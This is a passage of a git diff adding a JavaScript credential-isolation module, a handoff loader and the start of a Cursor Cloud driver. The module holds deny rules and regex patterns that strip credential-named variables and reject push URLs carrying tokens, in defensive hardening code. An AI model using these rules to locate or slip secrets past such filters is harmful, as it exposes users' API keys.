'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + 'CURSOR_API_KEY_FILE', +]); + +export const PROVIDER_COMMAND_KEYS = capturedFreeze([ + 'CODEX_CO_ENGINEER_ACPX_COMMAND', + 'CODEX_CO_ENGINEER_CURSOR_COMMAND', + 'CODEX_CO_ENGINEER_DSH_ACP_COMMAND', + 'CODEX_CO_ENGINEER_DSH_ACP_CONFIG', + 'CODEX_CO_ENGINEER_DSH_COMMAND', + 'CODEX_CO_ENGINEER_DSH_OX_ACP_CONFIG', + 'CODEX_CO_ENGINEER_DSH_PROFILE', + 'CODEX_CO_ENGINEER_GROK_COMMAND', +]); + +export const DSH_ROUTE = capturedFreeze({ + [DEFAULT_DSH_MODEL]: capturedFreeze({ + credentialEnv: 'MODEL_API_KEY', + credentialFileEnv: 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + credentialFile: 'model-api-key', + configEnv: 'CODEX_CO_ENGINEER_DSH_ACP_CONFIG', + }), + [DSH_OX_MODEL]: capturedFreeze({ + credentialEnv: 'OPENROUTER_API_KEY', + credentialFileEnv: 'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + credentialFile: 'openrouter-api-key', + configEnv: 'CODEX_CO_ENGINEER_DSH_OX_ACP_CONFIG', + }), +}); + +export const CREDENTIAL_BOUNDARY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'credential_empty', 'credential_file_changed', + 'credential_hardlink_denied', 'credential_owner_denied', + 'credential_permissions', 'credential_symlink_denied', + 'credential_too_large', 'credential_unreadable', 'exotic_prototype_denied', + 'invalid_credential_file', 'invalid_credential_path', 'invalid_env', + 'invalid_handoff', 'invalid_provider', 'proxy_denied', 'push_url_denied', + 'remote_mutation_denied', 'symbol_key_denied', +]); + +const OPEN_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0) + | (fsConstants.O_CLOEXEC ?? 0); + +const OPEN_WRITE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_CLOEXEC ?? 0); + +const IS_PROXY = utilTypes.isProxy; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const OBJECT_HAS_OWN = Object.hasOwn; +const GET_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const OBJECT_PROTOTYPE = Object.prototype; + +const CREDENTIAL_KEY_PATTERN = /(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|credential|private[_-]?key)$/iu; +const HOSTING_KEY_PATTERN = /^(?:GH|GITHUB|GITLAB|GL|BITBUCKET|BB|HG|GITEA|FORGEJO|SOURCEHUT)_/u; +const GIT_KEY_PATTERN = /^GIT_/u; +const SSH_KEY_PATTERN = /^SSH_/u; +const CONTROL_KEY_PATTERN = /^(?:WORKTREE_BOOTSTRAP_|CODEX_CO_ENGINEER_STATE_DIR$|MCP_|SUPERVISOR_|FAKE_ACPX_)/u; +const CLOSED_TEST_INJECTION_KEY = /^FAKE_ACPX_[A-Z0-9_]+$/u; +const HANDOFF_IDENTITY = /^[a-f0-9]{32}$/u; +const HANDOFF_IDENTITY_DIR = /^cce-p29-[a-f0-9]{32}$/u; + +let closedProviderTestInjection = null; +const PUSH_URL_KEY_PATTERN = /(?:pushurl|insteadOf|askpass|credential)/iu; +const USERINFO_URL = /^(?:[a-z][a-z0-9+.-]*:\/\/)[^/@\s]+@/iu; +const TOKEN_QUERY = /[?&](?:token|access_token|api[_-]?key|secret|password|credential)=/iu; +const SCP_USERINFO = /^(?![a-z][a-z0-9+.-]*:\/\/)[^@\s]+@[^@\s]+:/u; + +const CONTENT_FREE = capturedFreeze({ + accessor_property_denied: 'Environment input cannot use accessor properties.', + credential_empty: 'Provider credential configuration is invalid.', + credential_file_changed: 'Provider credential configuration is invalid.', + credential_hardlink_denied: 'Provider credential configuration is invalid.', + credential_owner_denied: 'Provider credential configuration is invalid.', + credential_permissions: 'Provider credential configuration is invalid.', + credential_symlink_denied: 'Provider credential configuration is invalid.', + credential_too_large: 'Provider credential configuration is invalid.', + credential_unreadable: 'Provider credential configuration is invalid.', + exotic_prototype_denied: 'Environment input is not a direct data object.', + invalid_credential_file: 'Provider credential configuration is invalid.', + invalid_credential_path: 'Provider credential configuration is invalid.', + invalid_env: 'Provider environment is invalid.', + invalid_handoff: 'Provider credential configuration is invalid.', + invalid_provider: 'Unsupported provider.', + proxy_denied: 'Environment input cannot be a Proxy.', + push_url_denied: 'Worker push URLs are not authorized.', + remote_mutation_denied: 'Worker remote mutation is not authorized.', + symbol_key_denied: 'Environment input cannot use symbol keys.', +}); + +export class CredentialBoundaryError extends Error { + constructor(code, message, options) { + super(message, options); + this.name = 'CredentialBoundaryError'; + this.code = code; + } +} + +function fail(code, options) { + throw new CredentialBoundaryError(code, CONTENT_FREE[code] ?? CONTENT_FREE.invalid_env, options); +} + +function requirePlainSource(source, field = 'env') { + if (source == null || (typeof source !== 'object' && typeof source !== 'function') || Array.isArray(source)) { + fail('invalid_env'); + } + if (IS_PROXY(source)) fail('proxy_denied'); + try { + assertNotProxy(source, field); + } catch (error) { + if (error?.code === 'proxy_denied') fail('proxy_denied'); + throw error; + } + const proto = Object.getPrototypeOf(source); + if (proto !== null && proto !== OBJECT_PROTOTYPE && source !== process.env) { + // process.env is a special object; other exotic prototypes are denied. + if (proto !== Object.getPrototypeOf(process.env)) fail('exotic_prototype_denied'); + } + return source; +} + +function ownString(source, key) { + if (typeof key === 'symbol') fail('symbol_key_denied'); + if (!OBJECT_HAS_OWN(source, key)) return undefined; + const descriptor = GET_DESCRIPTOR(source, key); + if (descriptor === undefined || !descriptor.enumerable) fail('accessor_property_denied'); + if (typeof descriptor.get === 'function' || typeof descriptor.set === 'function') { + fail('accessor_property_denied'); + } + const value = descriptor.value; + if (value === undefined) return undefined; + if (typeof value !== 'string' || value.includes('\0')) fail('invalid_env'); + return value; +} + +function copyKeys(source, keys, output) { + for (const key of keys) { + const value = ownString(source, key); + if (value !== undefined && value.length > 0) output[key] = value; + } + return output; +} + +export function isCredentialEnvKey(name) { + if (typeof name !== 'string' || name.length === 0) return false; + if (capturedIncludes(CREDENTIAL_ENV_KEYS, name)) return true; + if (capturedIncludes(CREDENTIAL_FILE_ENV_KEYS, name)) return true; + return CREDENTIAL_KEY_PATTERN.test(name); +} + +export function isForbiddenProviderEnvKey(name) { + if (typeof name !== 'string' || name.length === 0) return true; + if (GIT_KEY_PATTERN.test(name) && !capturedHasOwn(GIT_HARDENING_ENV, name)) return true; + if (SSH_KEY_PATTERN.test(name)) return true; + if (HOSTING_KEY_PATTERN.test(name)) return true; + if (CONTROL_KEY_PATTERN.test(name)) return true; + if (capturedIncludes(CREDENTIAL_FILE_ENV_KEYS, name)) return true; + if (PUSH_URL_KEY_PATTERN.test(name)) return true; + if (name === HANDOFF_ENV_KEY) return true; + if (name === 'NODE_OPTIONS' || name === 'NODE_PATH' || name === 'NODE_REPL_EXTERNAL_MODULE') return true; + return false; +} + +function resolveDshRoute(dshModel) { + const model = dshModel ?? DEFAULT_DSH_MODEL; + const route = DSH_ROUTE[model]; + if (!route) fail('invalid_provider'); + return route; +} + +function providerAllowlist(provider, dshModel, operation) { + const keys = [...OPERATIONAL_ENV_KEYS]; + if (operation === 'systemd_client') return [...SYSTEMD_CLIENT_ENV_KEYS]; + if (operation === 'sdk_probe') return [...OPERATIONAL_ENV_KEYS, 'npm_config_prefix', 'NPM_CONFIG_PREFIX']; + if (operation === 'git_inspect') return []; + if (provider === 'grok') { + keys.push('XAI_API_KEY', 'CODEX_CO_ENGINEER_GROK_COMMAND'); + } else if (provider === 'cursor-local') { + keys.push('CODEX_CO_ENGINEER_CURSOR_COMMAND'); + } else if (provider === 'cursor-cloud') { + keys.push('CURSOR_API_KEY'); + } else if (provider === 'dsh') { + const route = resolveDshRoute(dshModel); + keys.push( + 'CODEX_CO_ENGINEER_DSH_COMMAND', + 'CODEX_CO_ENGINEER_ACPX_COMMAND', + 'CODEX_CO_ENGINEER_DSH_ACP_COMMAND', + 'CODEX_CO_ENGINEER_DSH_PROFILE', + route.configEnv, + ); + if (operation !== 'readiness_probe') keys.push(route.credentialEnv); + } else if (provider !== undefined) { + fail('invalid_provider'); + } + return keys.filter((key) => !isForbiddenProviderEnvKey(key) || capturedHasOwn(GIT_HARDENING_ENV, key)); +} + +export function projectProviderEnvironment({ + provider, source = process.env, dshModel, operation = 'lane', +} = {}) { + const envSource = requirePlainSource(source); + if (operation === 'git_inspect') return { ...GIT_INSPECT_ENV }; + if (operation === 'systemd_client') { + const output = Object.create(null); + copyKeys(envSource, SYSTEMD_CLIENT_ENV_KEYS, output); + return output; + } + if (operation === 'service') { + const output = Object.create(null); + copyKeys(envSource, OPERATIONAL_ENV_KEYS, output); + copyKeys(envSource, PROVIDER_COMMAND_KEYS, output); + Object.assign(output, GIT_HARDENING_ENV); + for (const key of CREDENTIAL_ENV_KEYS) delete output[key]; + for (const key of CREDENTIAL_FILE_ENV_KEYS) delete output[key]; + delete output[HANDOFF_ENV_KEY]; + return output; + } + const output = Object.create(null); + copyKeys(envSource, providerAllowlist(provider, dshModel, operation), output); + if (operation === 'lane' || operation === 'readiness') { + Object.assign(output, GIT_HARDENING_ENV); + } + if (provider === 'dsh') { + const route = resolveDshRoute(dshModel); + for (const other of Object.values(DSH_ROUTE)) { + if (other.credentialEnv !== route.credentialEnv) delete output[other.credentialEnv]; + delete output[other.credentialFileEnv]; + } + } else { + delete output.MODEL_API_KEY; + delete output.OPENROUTER_API_KEY; + if (provider !== 'grok') delete output.XAI_API_KEY; + if (provider !== 'cursor-cloud') delete output.CURSOR_API_KEY; + } + for (const key of CREDENTIAL_FILE_ENV_KEYS) delete output[key]; + return output; +} + +export function systemdClientEnvironment(source = process.env) { + return projectProviderEnvironment({ source, operation: 'systemd_client' }); +} + +export function extractCredentialEnv(env) { + const source = requirePlainSource(env); + const secrets = Object.create(null); + for (const key of CREDENTIAL_ENV_KEYS) { + const value = ownString(source, key); + if (value !== undefined && value.length > 0) secrets[key] = value; + } + return secrets; +} + +export function omitCredentialEnv(env) { + const source = requirePlainSource(env); + const output = Object.create(null); + for (const key of Reflect.ownKeys(source)) { + if (typeof key !== 'string') fail('symbol_key_denied'); + if (isCredentialEnvKey(key)) continue; + const value = ownString(source, key); + if (value !== undefined) output[key] = value; + } + return output; +} + +function configHome(source) { + const xdg = ownString(source, 'XDG_CONFIG_HOME'); + if (xdg) { + if (!path.isAbsolute(xdg) || path.resolve(xdg) !== xdg) fail('invalid_credential_path'); + return xdg; + } + const home = ownString(source, 'HOME'); + const root = home && path.isAbsolute(home) ? path.resolve(home) : homedir(); + return path.join(root, '.config'); +} + +function requireAbsolutePath(filePath) { + if (typeof filePath !== 'string' || filePath.length === 0 || filePath.includes('\0')) { + fail('invalid_credential_path'); + } + // Overrides must fail before path.resolve would convert a relative path. + if (!path.isAbsolute(filePath) || filePath.includes('//') || filePath.includes('\\')) { + fail('invalid_credential_path'); + } + if (path.normalize(filePath) !== filePath || path.resolve(filePath) !== filePath) { + fail('invalid_credential_path'); + } + return filePath; +} + +function sameFileIdentity(left, right) { + return left.dev === right.dev + && left.ino === right.ino + && left.mode === right.mode + && left.nlink === right.nlink + && left.uid === right.uid + && left.gid === right.gid + && left.size === right.size + && left.mtimeNs === right.mtimeNs + && left.ctimeNs === right.ctimeNs; +} + +function validateCredentialStat(metadata, maxBytes = MAX_CREDENTIAL_BYTES) { + if (typeof metadata?.isSymbolicLink === 'function' && metadata.isSymbolicLink()) { + fail('credential_symlink_denied'); + } + if (typeof metadata?.isFile !== 'function' || !metadata.isFile()) fail('invalid_credential_file'); + if (metadata.nlink !== 1n && metadata.nlink !== 1) fail('credential_hardlink_denied'); + const uid = typeof process.geteuid === 'function' ? process.geteuid() : process.getuid?.(); + if (Number.isInteger(uid) && Number(metadata.uid) !== uid) fail('credential_owner_denied'); + const mode = Number(metadata.mode); + if ((mode & 0o7777) !== 0o600) fail('credential_permissions'); + const size = Number(metadata.size); + if (!Number.isFinite(size) || size < 0) fail('invalid_credential_file'); + if (size === 0) fail('credential_empty'); + if (size > maxBytes) fail('credential_too_large'); +} + +export async function loadCredentialFile(filePath, { maxBytes = MAX_CREDENTIAL_BYTES, openFile = open } = {}) { + const resolved = requireAbsolutePath(filePath); + let handle; + try { + handle = await openFile(resolved, OPEN_READ_FLAGS); + } catch (error) { + if (error?.code === 'ELOOP' || error?.code === 'EMLINK') fail('credential_symlink_denied', { cause: error }); + if (error?.code === 'ENOENT' || error?.code === 'ENOTDIR') fail('invalid_credential_file', { cause: error }); + fail('credential_unreadable', { cause: error }); + } + try { + const before = await handle.stat({ bigint: true }); + validateCredentialStat(before, maxBytes); + if (Number(before.size) > maxBytes) fail('credential_too_large'); + const bytes = await handle.readFile(); + const after = await handle.stat({ bigint: true }); + if (!sameFileIdentity(before, after) || bytes.length !== Number(before.size)) { + fail('credential_file_changed'); + } + const text = bytes.toString('utf8').trim(); + if (!text || text.includes('\0')) fail('invalid_credential_file'); + if (BYTE_LENGTH(text) > maxBytes) fail('credential_too_large'); + return text; + } finally { + await handle.close().catch(() => {}); + } +} + +function credentialSpec(provider, dshModel) { + if (provider === 'grok') { + return { credentialEnv: 'XAI_API_KEY', credentialFileEnv: null, defaultFile: null }; + } + if (provider === 'cursor-cloud') { + return { + credentialEnv: 'CURSOR_API_KEY', + credentialFileEnv: 'CURSOR_API_KEY_FILE', + defaultFile: ['cursor-cloud-control', 'api-key'], + }; + } + if (provider === 'dsh') { + const route = resolveDshRoute(dshModel); + return { + credentialEnv: route.credentialEnv, + credentialFileEnv: route.credentialFileEnv, + defaultFile: ['codex-co-engineer', route.credentialFile], + }; + } + if (provider === 'cursor-local') return null; + fail('invalid_provider'); +} + +export async function loadProviderCredential({ provider, source = process.env, dshModel } = {}) { + const envSource = requirePlainSource(source); + const spec = credentialSpec(provider, dshModel); + if (!spec) return null; + const existing = ownString(envSource, spec.credentialEnv)?.trim(); + if (existing) { + if (BYTE_LENGTH(existing) > MAX_CREDENTIAL_BYTES) fail('credential_too_large'); + return { name: spec.credentialEnv, value: existing }; + } + if (!spec.defaultFile && !spec.credentialFileEnv) return null; + const override = spec.credentialFileEnv ? ownString(envSource, spec.credentialFileEnv)?.trim() : undefined; + if (override) { + return { name: spec.credentialEnv, value: await loadCredentialFile(requireAbsolutePath(override)) }; + } + const file = path.join(configHome(envSource), ...spec.defaultFile); + return { name: spec.credentialEnv, value: await loadCredentialFile(requireAbsolutePath(file)) }; +} + +export async function materializeProviderEnvironment({ + provider, source = process.env, dshModel, operation = 'lane', +} = {}) { + const projected = projectProviderEnvironment({ provider, source, dshModel, operation }); + if (operation === 'readiness_probe' && (provider === 'dsh' || provider === undefined)) { + return projected; + } + if (operation === 'sdk_probe' || operation === 'git_inspect' || operation === 'systemd_client' || operation === 'service') { + return projected; + } + try { + const loaded = await loadProviderCredential({ provider, source, dshModel }); + if (loaded) projected[loaded.name] = loaded.value; + } catch (error) { + if (operation === 'readiness' || operation === 'readiness_probe') throw error; + if (provider === 'dsh' || provider === 'cursor-cloud') throw error; + } + for (const key of CREDENTIAL_FILE_ENV_KEYS) delete projected[key]; + return projected; +} + +export function collectLaneSecrets(env = process.env) { + const source = requirePlainSource(env); + const secrets = []; + for (const key of CREDENTIAL_ENV_KEYS) { + const value = ownString(source, key); + if (value) secrets.push(value); + } + return secrets; +} + +export function credentialRedactionFragments(secret) { + if (typeof secret !== 'string' || secret.length === 0) return []; + const fragments = [secret]; + const bytes = NodeBuffer.from(secret, 'utf8'); + if (bytes.length <= REDACTION_FRAGMENT_BYTES) return fragments; + for (let offset = 0; offset <= bytes.length - REDACTION_FRAGMENT_BYTES; offset += REDACTION_FRAGMENT_STRIDE) { + fragments.push(bytes.subarray(offset, offset + REDACTION_FRAGMENT_BYTES).toString('utf8')); + } + const tail = bytes.subarray(bytes.length - REDACTION_FRAGMENT_BYTES).toString('utf8'); + if (!fragments.includes(tail)) fragments.push(tail); + return fragments; +} + +function redactSecretSlices(text, secret, minimum = REDACTION_FRAGMENT_BYTES) { + if (typeof secret !== 'string' || secret.length === 0 || text.length === 0) return text; + if (text.includes(secret)) return text.split(secret).join(REDACTED); + if (secret.includes(text)) return REDACTED; + if (secret.length < 4) return text; + const needle = Math.min(minimum, secret.length); + let output = text; + let index = 0; + while (index <= output.length - needle) { + const window = output.slice(index, index + needle); + const found = secret.indexOf(window); + if (found < 0) { + index += 1; + continue; + } + let length = needle; + while (index + length < output.length && found + length < secret.length + && output[index + length] === secret[found + length]) { + length += 1; + } + output = `${output.slice(0, index)}${REDACTED}${output.slice(index + length)}`; + index += REDACTED.length; + } + return output; +} + +export function redactExactValues(value, secrets = []) { + let text = String(value ?? ''); + const ordered = [...secrets] + .filter((secret) => typeof secret === 'string' && secret.length > 0) + .sort((left, right) => right.length - left.length); + for (const secret of ordered) text = redactSecretSlices(text, secret); + return text; +} + +function runtimeHandoffRoot() { + const runtime = process.env.XDG_RUNTIME_DIR; + if (typeof runtime === 'string' && path.isAbsolute(runtime) && path.resolve(runtime) === runtime) { + return runtime; + } + return tmpdir(); +} + +export function handoffPathFromProcessIdentity(identity) { + if (typeof identity !== 'string' || !HANDOFF_IDENTITY.test(identity)) fail('invalid_handoff'); + return requireAbsolutePath(path.join(runtimeHandoffRoot(), `cce-p29-${identity}`, 'env.json')); +} + +async function prepareHandoffDirectory({ directory, identity } = {}) { + if (directory) return requireAbsolutePath(directory); + if (identity !== undefined) { + const root = path.dirname(handoffPathFromProcessIdentity(identity)); + await cleanupCredentialHandoff(path.join(root, 'env.json')).catch(() => {}); + try { + await mkdir(root, { recursive: false, mode: 0o700 }); + } catch (error) { + if (error?.code !== 'EEXIST') fail('invalid_handoff', { cause: error }); + } + return root; + } + return mkdtemp(path.join(runtimeHandoffRoot(), 'cce-p29-handoff-')); +} + +export function installClosedProviderTestInjection(source) { + if (source == null) { + closedProviderTestInjection = null; + return; + } + const envSource = requirePlainSource(source, 'testInjection'); + const output = Object.create(null); + for (const key of Reflect.ownKeys(envSource)) { + if (typeof key !== 'string') fail('symbol_key_denied'); + if (!CLOSED_TEST_INJECTION_KEY.test(key)) continue; + const value = ownString(envSource, key); + if (value !== undefined && value.length > 0) output[key] = value; + } + closedProviderTestInjection = output; +} + +export function applyClosedProviderTestInjection(env) { + if (!closedProviderTestInjection) return env; + const output = env ?? Object.create(null); + for (const [key, value] of Object.entries(closedProviderTestInjection)) output[key] = value; + return output; +} + +export async function recoverCredentialHandoffByIdentity(identity) { + try { + return await cleanupCredentialHandoff(handoffPathFromProcessIdentity(identity)); + } catch (error) { + if (error instanceof CredentialBoundaryError && error.code === 'invalid_handoff') { + return { cleaned: false, missing: true }; + } + throw error; + } +} + +export async function recoverStaleCredentialHandoffs({ directory } = {}) { + const root = directory ?? runtimeHandoffRoot(); + if (typeof root !== 'string' || !path.isAbsolute(root) || path.normalize(root) !== root) { + return { recovered: 0 }; + } + let entries = []; + try { + entries = await readdir(root, { withFileTypes: true }); + } catch { + return { recovered: 0 }; + } + let recovered = 0; + for (const entry of entries) { + if (!HANDOFF_IDENTITY_DIR.test(entry.name)) continue; + const candidate = path.join(root, entry.name); + try { + const metadata = await lstat(candidate); + if (metadata.isSymbolicLink() || !metadata.isDirectory()) continue; + await cleanupCredentialHandoff(path.join(candidate, 'env.json')); + recovered += 1; + } catch { + // Best-effort stale recovery must stay content-free and non-throwing. + } + } + return { recovered }; +} + +export async function createCredentialHandoff(secrets, { directory, identity } = {}) { + const payloadEnv = Object.create(null); + const source = requirePlainSource(secrets); + for (const key of Reflect.ownKeys(source)) { + if (typeof key !== 'string') fail('symbol_key_denied'); + if (!isCredentialEnvKey(key)) continue; + const value = ownString(source, key); + if (value !== undefined) payloadEnv[key] = value; + } + const json = `${JSON.stringify({ schema: CREDENTIAL_BOUNDARY_SCHEMA_ID, version: CREDENTIAL_BOUNDARY_VERSION, env: payloadEnv })}\n`; + if (BYTE_LENGTH(json) > MAX_HANDOFF_BYTES) fail('credential_too_large'); + const root = await prepareHandoffDirectory({ directory, identity }); + await chmod(root, 0o700).catch(() => {}); + const filePath = path.join(root, 'env.json'); + const handle = await open(requireAbsolutePath(filePath), OPEN_WRITE_FLAGS, 0o600); + try { + await handle.writeFile(json, 'utf8'); + await handle.datasync?.().catch(() => {}); + const metadata = await handle.stat({ bigint: true }); + validateCredentialStat(metadata, MAX_HANDOFF_BYTES); + } finally { + await handle.close().catch(() => {}); + } + return { path: filePath, directory: root }; +} + +export async function cleanupCredentialHandoff(target) { + const filePath = typeof target === 'string' ? target : target?.path; + if (!filePath) return { cleaned: true, missing: true }; + try { + requireAbsolutePath(filePath); + } catch { + return { cleaned: false, missing: true }; + } + try { + const metadata = await lstat(filePath); + if (metadata.isSymbolicLink() || !metadata.isFile()) fail('invalid_handoff'); + await unlink(filePath); + } catch (error) { + if (error?.code !== 'ENOENT') { + if (error instanceof CredentialBoundaryError) throw error; + fail('invalid_handoff', { cause: error }); + } + } + const dir = path.dirname(filePath); + try { + await rmdir(dir); + } catch { + // Directory may still contain unrelated files; leave it. + } + return { cleaned: true, missing: false }; +} + +export async function consumeCredentialHandoff(filePath) { + const resolved = requireAbsolutePath(filePath); + let payload; + try { + const text = await loadCredentialFile(resolved, { maxBytes: MAX_HANDOFF_BYTES }); + payload = JSON.parse(text); + } catch (error) { + await cleanupCredentialHandoff(resolved).catch(() => {}); + if (error instanceof CredentialBoundaryError) throw error; + fail('invalid_handoff', { cause: error }); + } + await cleanupCredentialHandoff(resolved).catch(() => {}); + if (!payload || payload.schema !== CREDENTIAL_BOUNDARY_SCHEMA_ID || payload.version !== CREDENTIAL_BOUNDARY_VERSION + || !payload.env || typeof payload.env !== 'object' || Array.isArray(payload.env)) { + fail('invalid_handoff'); + } + requirePlainSource(payload.env, 'handoff.env'); + const env = Object.create(null); + for (const key of CREDENTIAL_ENV_KEYS) { + const value = ownString(payload.env, key); + if (value !== undefined) env[key] = value; + } + return env; +} + +export function assertCredentialFreeRemote(value) { + if (value == null) return value; + if (typeof value !== 'string' || value.length === 0 || value.includes('\0')) fail('push_url_denied'); + if (USERINFO_URL.test(value) || TOKEN_QUERY.test(value) || /:\/\//u.test(value) && /@/u.test(value)) { + fail('push_url_denied'); + } + if (/\bpushurl\b/iu.test(value) || /\binsteadof\b/iu.test(value)) fail('push_url_denied'); + return value; +} + +export function denyWorkerRemoteMutation(operation) { + if (typeof operation !== 'string' || operation.length === 0) fail('remote_mutation_denied'); + if (capturedIncludes(DENIED_OPERATIONS, operation)) fail('remote_mutation_denied'); + if (/^(?:push|force_push|merge|rebase|create_pr|merge_pr|tag_create|tag_delete|release_create|remote_mutate|credential_helper|fetch|pull|delete_ref|protected_ref_update)$/u.test(operation)) { + fail('remote_mutation_denied'); + } + return operation; +} + +export function assertNoWorkerPushUrl(value) { + if (value == null) return value; + if (typeof value !== 'object') return assertCredentialFreeRemote(value); + requirePlainSource(value, 'remote'); + for (const key of ['pushurl', 'pushUrl', 'push_url', 'url', 'insteadOf', 'insteadof']) { + if (OBJECT_HAS_OWN(value, key)) { + denyWorkerRemoteMutation('remote_mutate'); + } + } + return value; +} + +export function spawnProviderChild(command, args, { cwd, env, stdio = 'pipe', detached = false, spawn = nodeSpawn } = {}) { + const projected = env ?? {}; + requirePlainSource(projected); + for (const key of Reflect.ownKeys(projected)) { + if (typeof key !== 'string') fail('symbol_key_denied'); + if (isForbiddenProviderEnvKey(key) && !capturedHasOwn(GIT_HARDENING_ENV, key) && !isCredentialEnvKey(key)) { + fail('invalid_env'); + } + } + return spawn(command, args, { cwd, env: projected, stdio, detached, shell: false }); +} + +export function inspectEnvForSecrets(env, secrets = []) { + const serialized = JSON.stringify(env ?? {}); + for (const secret of secrets) { + if (typeof secret === 'string' && secret.length > 0 && serialized.includes(secret)) return true; + } + return false; +} + +export function inspectArgvForSecrets(argv, secrets = []) { + const serialized = JSON.stringify(argv ?? []); + for (const secret of secrets) { + if (typeof secret === 'string' && secret.length > 0 && serialized.includes(secret)) return true; + } + return false; +} diff --git a/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs b/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs new file mode 100644 index 0000000..4f9e69e --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs @@ -0,0 +1,64 @@ +#!/usr/bin/env node +// Owner-only credential handoff loader for P29. Reads a bounded regular +// file, applies credential env values, unlinks the file, then runs the +// wrapped command as a child so systemd-run argv never carries secrets. +// The child environment is a closed service projection plus those +// credentials; ambient process.env is never spread. This process remains +// the service leader; KillMode=control-group still reaches the provider +// child. + +import path from 'node:path'; + +import { + consumeCredentialHandoff, + projectProviderEnvironment, + spawnProviderChild, +} from './credential-boundary.mjs'; + +function failUsage() { + process.stderr.write('Usage: credential-handoff-loader.mjs /absolute/handoff.json -- command [args...]\n'); + process.exit(2); +} + +const separator = process.argv.indexOf('--'); +if (separator < 3 || process.argv.length <= separator + 1) failUsage(); + +const handoffPath = process.argv[2]; +if (typeof handoffPath !== 'string' || !path.isAbsolute(handoffPath) || path.resolve(handoffPath) !== handoffPath) { + failUsage(); +} + +const command = process.argv[separator + 1]; +const args = process.argv.slice(separator + 2); +if (typeof command !== 'string' || command.length === 0 || command.includes('\0')) failUsage(); + +const secrets = await consumeCredentialHandoff(handoffPath); +const env = projectProviderEnvironment({ source: process.env, operation: 'service' }); +for (const [name, value] of Object.entries(secrets)) { + if (typeof name === 'string' && typeof value === 'string') env[name] = value; +} +delete env.CODEX_CO_ENGINEER_CREDENTIAL_HANDOFF; + +const child = spawnProviderChild(command, args, { + env, + stdio: 'inherit', + detached: false, +}); + +const forward = (signal) => { + try { child.kill(signal); } catch { /* child may have already exited */ } +}; +for (const signal of ['SIGTERM', 'SIGINT', 'SIGHUP']) { + process.on(signal, () => forward(signal)); +} + +child.once('error', () => { + process.exitCode = 1; +}); +child.once('exit', (code, signal) => { + if (signal) { + process.exitCode = 1; + return; + } + process.exit(code ?? 1); +}); diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs new file mode 100644 index 0000000..e084bf3 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs @@ -0,0 +1,1641 @@ +// CursorCloudDriverV1 — the P21 Cursor Cloud SDK adapter over accepted +// ProviderDriverV1. +// +// Additive v3 module. It owns ONLY the Cursor Cloud-specific binding of the +// accepted P17 envelope/capability contract onto an injected bounded Cursor +// SDK transport. Existing mcp/v3/cursor-cloud-worker.mjs is not modified: +// - provider slot is exactly `cursor-cloud`; every other provider fails +// closed with provider_slot_mismatch; +// - exact requested/effective model, provider repository identity, +// immutable starting SHA, ChildEnvelope text/digest, run/assignment/lane, +// stable request id, cloud agent id, provider run id, and branch identity +// are required on transport receipts; +// - preflight rejects dirty checkout, absent/credential-bearing/mutable +// repository identity, non-commit starting refs, base advancement, +// merge/create-PR/push authority, and ambiguous duplicate identities; +// - launch reports dispatched only after an authoritative SDK run identity +// (agent id + provider run id + request id). Any uncertainty after +// create/send intent is dispatch_uncertain and is never replayed or +// fallback-substituted; +// - reconcile restart reattaches by the exact recorded agent/run/request +// identity only; terminal verification requires provider-reported state +// plus independently verifiable Git/branch/base evidence and claims +// nothing the transport did not expose; +// - cancel targets only the exact recorded run and reports cancel/archive +// outcomes truthfully; terminal latches make later cancel already_terminal +// with no further transport; +// - same-session reply is unsupported_unresolved_attention, never a new run; +// - result/event/error data is bounded and content-free; hostile JSON, +// proxies, accessors, caps, secrets, and prompt text fail closed. +// - post-transport receipt validation is quarantined locally: thrown +// diagnostics keep only a closed local code and a fixed operation path, +// message, and name. Provider-authored identity values, unknown keys, +// detail pairs, raw errors, stacks, causes, and expected canonical +// path/model/branch/run/request values never appear on public errors, +// results, or evidence. Caller-request validation is not collapsed. +// +// Capability posture is honest: remote managed workspace starting at a pinned +// pushed SHA, exact-model selection only when attested, merge none, create PR +// prohibited, never_replay. This slice is not live-transport qualification. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_FEATURE_VALUES, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + validateDriverCancelRequestV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverPreflightRequestV1, + validateDriverReconcileRequestV1, +} from './provider-driver.mjs'; +import { + capturedCreate, + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, + isModelId, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH, IDENTITY_LABELS } from './identity.mjs'; +import { + SHA40_PATTERN, + RunContractV1Error, + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, +} from './selection-json.mjs'; + +export const CURSOR_CLOUD_PROVIDER_SLOT = 